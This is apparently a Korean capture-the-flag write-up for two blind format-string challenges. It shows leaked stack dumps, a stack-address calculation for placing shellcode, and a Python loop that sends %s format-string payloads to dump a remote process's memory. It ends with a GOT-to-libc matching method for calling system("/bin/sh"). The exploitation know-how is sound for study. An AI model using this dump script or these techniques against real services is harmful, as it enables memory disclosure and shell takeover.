Close
[Blind_FSB1]
STAGE1은 그냥 넘어가고 STAGE2의 포인트 부분만 살펴보면..
[%133$018p] 0x32252d7038313024 0x2d70383130243230 | $018p-%202$018p-
[%135$018p] 0x3831302433303225 0x3024343032252d70 | %203$018p-%204$0
[%137$018p] 0x0000000a2d703831 0x636c6557203e3e3e | 18p-....>>>.Welc
[%139$018p] 0x74206f7420656d6f 0x6567617453206568 | ome.to.the.Stage
[%141$018p] 0x74206f0021292832 0x4547415453206568 | 2()!.o.the.STAGE
[%143$018p] 0x0000000021292831 0x00007ffc9ee1d670 | 1()!....p.......
[%145$018p] 0x00000000004010df 0x5d3265676174535b | ..@.....[Stage2]
[%147$018p] 0x79206e6143202d20 0x6d206e777020756f | .-.Can.you.pwn.m
[%149$018p] 0x00007fa8f7003f65 0x5d3165676174535b | e?......[Stage1]
[%151$018p] 0x79206e6143202d20 0x20646e696620756f | .-.Can.you.find.
[%153$018p] 0x6f77737361702061 0x00000000003f6472 | a.password?.....
[%155$018p] 0x000000000040110d 0x00007ffc9ee1d6b0 | ..@.............
[%157$018p] 0x0000000000401018 0x63754c20646f6f47 | ..@.....Good.Luc
[%159$018p] 0x000000503a20216b 0x53465f646e696c42 | k!.:P...Blind_FS
[%161$018p] 0x00007fa800003142 0x0000216f6c6c6548 | B1......Hello!..
[%163$018p] 0x00007fa8f76a5188 0x00007ffc9ee1d6e0 | .Qj.............
[%165$018p] 0x0000000000400b90 0x20656854203e3e3e | ..@.....>>>.The.
[%167$018p] 0x0000000000646e45 0x00007ffc9ee1d7c0 | End.............
[%169$018p] 0x0000000000d20010 0x0000000000401160 | ........`.@.....
[%171$018p] 0x00007fa8f70d6a40 0x00007ffc9ee1d7c8 | @j..............
[%173$018p] 0x00007ffc9ee1d7c8 0x0000000100000000 | ................
[%175$018p] 0x0000000000400a9d 0x0000000000000000 | ..@.............
[%177$018p] 0x4a54e0ec59b2a026 0x00000000004009b0 | &..Y..TJ..@.....
[%179$018p] 0x00007ffc9ee1d7c0 0x0000000000000000 | ................
스크립트를 짜서 스택구조를 위와같이 확인하면 편합니다.
먼저 x64임을 알 수 있고, 스택 구조를 알아보기 쉽게 출력되는 문자열들이 함수 메모리 공간에 있음을 알 수 있습니다.
문자열들 사이사이에 보이는 값들은 형태로 보아 [SFP][RET] 쯤으로 유추할 수 있습니다.
포맷스트링이 발생하는 시점에 3개 정도의 함수 내부로 들어온 상태이고, 각각의 SFP와 RET 를 표시하면 위와 같습니다.
SFP에는 이전 함수의 SFP(rbp 레지스터 값)이 저장됨을 생각해보면,
복귀주소(RET)인 0x0000000000400b90 이 존재하는 메모리의 절대주소값은 0x00007ffc9ee1d6b0 + 8 임을 알수있습니다.
(' 0x00007ffc9ee1d6e0'의 절대주소는 0x00007ffc9ee1d6b0 이기 때문입니다.)
이런식으로 스택의 주소 값을 계산하여 쉘코드를 올린 후 오프셋을 계산하는 등의 방법을 사용할 수 있습니다.
Close Close
[Blind_FSB2]
2번 문제는 아이디어만 잡으면 풀리는 문제여서 간단하게 FSB를 이용하여 스택 외의 메모리 영역을 접근하는 방법을 생각해보면 됩니다.
가장 쉬운 방법은 %s를 이용해서 메모리를 읽어오는 방법인데, 주의해야할 점은 0x0a("\n":개행문자)를 피해야 한다는 점입니다.
그리고 할당되지 않은 메모리에 접근할 경우 세그먼트 폴트가 발생한다는 점을 주의해야 합니다.
AAAA [%???$s] BBBB [읽어올 메모리주소] 이런식으로 FSB 페이로드를 작성하고, %s로 접근하면, 메모리를 그대로 읽을 수 있습니다.
스크립트를 간단하게 짜보면..
while True:
if (START+i)&0xFF == 0xa or ((START+i)&0xFF00)>>8 == 0xa:
data+="\x00"
i+=1
continue
elif i >= SIZE:
break
payload = "BBBB"+"%00035$s"+"AAAA"+p(START+i)
s.send(payload+"\n")
message=(recv_until(s, "AAAA").split("BBBB")[1]).split("AAAA")[0]
if message:
data+=message
i+=len(message)
else:
data+="\x00"
i+=1
dumpcode(data)
이런 형태로 접근하면 Binary 영역이나, Heap 영역, 스택 영역, 라이브러리 영역 등,
프로세스가 사용하는 모든 메모리를 그대로 덤프 뜨는게 가능합니다.
그리고 원래 의도대로의 설명을 약간 추가하자면.. 그 힌트로 주어진 GOT 테이블 정보가 없을 경우,
바이너리에 사용된 라이브러리 함수명과 GOT에 라이브러리 주소들은 알 수 있지만 어떤 주소가 어떤 함수의 주소인지는 알 방법이 없습니다.
(혹시 방법이 있을지도 모르겠지만 저는 찾지 못했습니다..)
그렇기 때문에 GOT에 써진 라이브러리 주소의 하위 12비트와
라이브러리 파일(다른 문제에서 얻은 라이브러리 파일 사용)의 하위 12비트를 쭉 비교한 후,
사용된 라이브러리 함수명을 다시 비교하면 GOT 테이블의 어느 부분이 어떤 함수인지 정확히 유추할 수 있습니다.
이를 통해서 offset을 계산후 system("/bin/sh"); 하면 쉘을 획득할 수 있습니다.
Close